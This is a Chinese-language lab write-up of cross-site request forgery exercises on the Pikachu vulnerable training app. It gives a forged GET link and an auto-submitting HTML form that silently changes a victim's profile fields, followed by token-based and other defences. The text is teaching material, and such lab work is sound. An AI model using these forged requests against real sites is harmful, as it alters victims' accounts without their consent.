目录
CSRF(get)
通过获取URL伪造请求
修改信息抓包
GET /pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=dv&phonenum=num&add=beijing&email=kobe%40pikachu.com&submit=submit HTTP/1.1
在网页写入,仿造攻击者链接:
http://192.168.241.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=dv&phonenum=num&add=tianjin&email=kobe%40pikachu.com&submit=submit HTTP/1.1
发现地址修改成了
CSRF(post)
通过创建表单伪造:
原来的信息:
sex=dv&phonenum=num&add=tuerqi&email=kobe%40pikachu.com&submit=submit
攻击者写入脚本
在pikachu/vul/csrf/csrfpost/目录下新建一个post.html,写入修改csrf_post_edit.php的信息:
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.241.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="boy" />
<input id="phonenum" type="text" name="phonenum" value="55144" />
<input id="add" type="text" name="add" value="tyrri" />
<input id="email" type="text" name="email" value="be@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
利用用户对网站的信任,诱使受害者访问:http://192.168.241.1/pikachu/vul/csrf/csrfpost/post.html
攻击完成,已修改:
CSRF Token
CSRF的主要问题是敏感操作容易被伪造,我们可以加入Token让请求不容易被伪造
每次请求,都增加一个随机码(需要够随机,不容易被伪造),后台每次对这个随机码进行验证
我们进入Pikachu平台的CSRF(token)页面并登录,我们可以看一下这个GET请求
发现加了token机制
即使用户点击了CSRF攻击的链接, 请求因Token不合法而遭到拒绝:
防护措施
- 增加Token验证(常用做法)
- 对关键操作增加Token参数,token必须随机,每次都不一样
- 关于安全的会话管理(避免会话被利用)
- 不要在客户端保存敏感信息(比如身份验证信息)
- 退出、关闭浏览器时的会话过期机制
- 设置会话过机制,比如15分钟无操作,则自动登录超时
- 访问控制安全管理
- 敏感信息的修改时需要身份进行二次认证,比如修改账号密码,需要判断旧密码
- 敏感信息的修改使用POST,而不是GET
- 通过HTTP头部中的REFERER来限制原页面
- 增加验证码
- 一般在登录(防暴力破解),也可以用在其他重要信息操作的表单中(需要考虑可用性)